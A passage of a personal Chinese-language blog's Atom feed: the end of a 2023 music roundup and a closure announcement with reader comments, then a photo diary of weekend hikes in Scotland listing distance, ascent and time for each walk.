class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;定义的盯鞋。&lt;&#x2F;p&gt;
&lt;p&gt;因为本小节只是年度音乐统计，所以关于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的事情先就此打住。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;full-report.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;full-report.png&quot;
	alt=&quot;&quot;
	height=&quot;1920&quot;
	width=&quot;1080&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;top-albums.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;top-albums.png&quot;
	alt=&quot;&quot;
	height=&quot;470&quot;
	width=&quot;470&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;B-side：停更预告&quot;&gt;B-side：停更预告&lt;&#x2F;h2&gt;
&lt;p&gt;我目前有九篇文章草稿、四期未发布的电台。我对“完成”有些许执念，也许会在将来把它们完成并发上来。但是，不会再有真正的新内容了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;89j3zk-pure.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;89j3zk-pure.jpg&quot;
	alt=&quot;直到我们再次相见&quot;
	height=&quot;510&quot;
	width=&quot;500&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;dr-musicuration
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;dr-musicuration&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;social.dm4.tw&amp;#x2F;users&amp;#x2F;dm4&quot;&gt;










dm4&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


三条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;o3o.ca&amp;#x2F;users&amp;#x2F;ghost&amp;#x2F;statuses&amp;#x2F;111760307554340599&quot;&gt;










河蚌&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot; translate=&quot;no&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; &lt;br &#x2F;&gt;挺遗憾的，偶然才发现你的博客，花了一个晚上全部看完了，非常喜欢，让我想到了小时候第一次上网时的愉悦。&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;toot.irithys.com&amp;#x2F;users&amp;#x2F;thy&amp;#x2F;statuses&amp;#x2F;01HJ68W6V2WWEVSNAF9X1H8DEY&quot;&gt;




https:&amp;#x2F;&amp;#x2F;toot.irithys.com&amp;#x2F;users&amp;#x2F;thy&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot; rel=&quot;nofollow noreferrer noopener&quot; target=&quot;_blank&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; wow，这种评论方式好新颖诶。打开博客：停止更新哈哈哈哈。&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;111599057935287393&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 太有活力了www我已经没精力折腾这些，只有买买现成的专辑，放到iTunes里听这样子。&lt;&#x2F;p&gt;&lt;p&gt;买CD的话，建议只买最最喜欢的，CD多了以后，好沉！&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>2023下半年的徒步</title>
    <published>2023-11-15T11:06:05+08:00</published>
    <updated>2023-11-15T11:06:05+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/hiking-2023/" type="text/html" />
    <id>https://emptystack.top/hiking-2023/</id>
    <content type="html">
      &lt;p&gt;整理一下照片。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#7月15日在Stonehaven&quot;&gt;7月15日在Stonehaven&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#7月22日在Loch_Leven&quot;&gt;7月22日在Loch Leven&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#8月05日在Tay_Forest_Park,_Dunkeld&quot;&gt;8月05日在Tay Forest Park, Dunkeld&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#8月12日在Pentland_Hills_Regional_Park&quot;&gt;8月12日在Pentland Hills Regional Park&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#8月19日在Holy_Island,_Berwick-upon-Tweed&quot;&gt;8月19日在Holy Island, Berwick-upon-Tweed&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#8月26日在Conic_hill,_Alexandria&quot;&gt;8月26日在Conic hill, Alexandria&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#9月02日在Mistylaw,_Lochwinnoch&quot;&gt;9月02日在Mistylaw, Lochwinnoch&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#9月16日在Ben_Ledi,_Callander&quot;&gt;9月16日在Ben Ledi, Callander&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#9月23日在Peebles&quot;&gt;9月23日在Peebles&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#10月14日在Peebles&quot;&gt;10月14日在Peebles&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;hiking-2023&#x2F;#11到12月&quot;&gt;11到12月&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7月15日在Stonehaven&quot;&gt;7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Stonehaven&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：21.26&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：573&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;58&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;第一次跟群里人出去走。本来说是简单路线，中途却改成高难度的雨中悬崖小道，加上最后狂奔半小时上下坡赶火车，直接把大脚指跑出血。不过出来玩还是很开心的。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230715_093453558.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230715_093453558.MP-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230715_100104850-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230715_100104850-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230715_102635529-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230715_102635529-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns c16-9&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230715_111715191-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230715_111715191-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230715_134531186.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230715_134531186.MP-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;7月22日在Loch_Leven&quot;&gt;7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Loch Leven&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：20.97&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：302&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;感觉大脚指差不多好了，所以第二周又同去了——结果更严重了。这次在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSPB&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的店里体验了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;60&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;倍的观鸟望远镜，很爽。还碰到了训练有素的猫咪，喵！&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230722_092515692-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230722_092515692-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;maybe-columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230722_094948254-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230722_094948254-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230722_104300232-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230722_104300232-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230722_133837344.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230722_133837344.MP-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230722_133908277-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230722_133908277-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;8月05日在Tay_Forest_Park,_Dunkeld&quot;&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;05&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tay Forest Park, Dunkeld&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：20.91&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：801&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;记忆标签：瀑布、被局部大雨赶下山、在地下室吃火锅。&lt;&#x2F;p&gt;
&lt;p&gt;这回又是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Stonehaven&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那位中途升级难度的大哥带队。我们愣是在满山坡一人高的蕨类植物里爬上了山——这真的是正确的路么？&lt;&#x2F;p&gt;
&lt;p&gt;群主是真的厉害，雨中跑下泥山。我撑着登山杖还差点滑到呢。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230805_101252915-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230805_101252915-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230805_101845374-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230805_101845374-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230805_143618544-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230805_143618544-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230805_180005963.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230805_180005963.MP-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;8月12日在Pentland_Hills_Regional_Park&quot;&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pentland Hills Regional Park&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：21.25&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：1,189&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;58&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这次途中开始下雨，是累计爬升幅度最大、裤子袜子最湿、拍照效果最好的一次。&lt;&#x2F;p&gt;
&lt;p&gt;事实证明，鞋子防水，裤子不防只会让情况变得更糟，因为从裤子里的水会流进鞋里出不去。不过，雨天的好处是可以看到彩虹。&lt;&#x2F;p&gt;
&lt;p&gt;我爬到最后累得够呛，抬头一看——群主在老前头跟着歌跳舞。WTF。&lt;&#x2F;p&gt;
&lt;p&gt;这回徒步有个同龄人以为我三十了。所以说不要向陌生人散发善意，会让对方把自己看得很老。&lt;&#x2F;p&gt;
&lt;p&gt;最后坐在小溪旁洗了洗沾满泥巴&lt;span class=&quot;murmur&quot;&gt;（和牛粪）&lt;&#x2F;span&gt;的鞋。因为周围的草很高，在旁人看来我像是只有上半身一样。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230812_102722472-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230812_102722472-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230812_084756050-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230812_084756050-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230812_132227878-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230812_132227878-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230812_141606258-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230812_141606258-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230812_154224786-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230812_154224786-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;8月19日在Holy_Island,_Berwick-upon-Tweed&quot;&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Holy Island, Berwick-upon-Tweed&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;距离：28.47&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;千米；累计爬升：371&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;米；耗时：6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这次感觉一般，岛上没啥可看的。路上沾了满裤子的苍耳，挺扎的。&lt;&#x2F;p&gt;
&lt;p&gt;最开始为了等后面的群友耗费了太多时间，后半段又要疯狂越野跑赶火车。等我们跑到火车站了，却发现火车取消了，因为上午撞人的事故还没处理完毕。早知道不那么拼命跑了。&lt;&#x2F;p&gt;
&lt;p&gt;中途碰到个遛狗的老太太，听说我们从岛上一路走到她遛狗的地方都惊了——哎，穷鬼是这样的，靠走路打发时间和精力。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_091052391-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_091052391-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;771&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_091531020-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_091531020-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230819_101429413-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230819_101429413-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
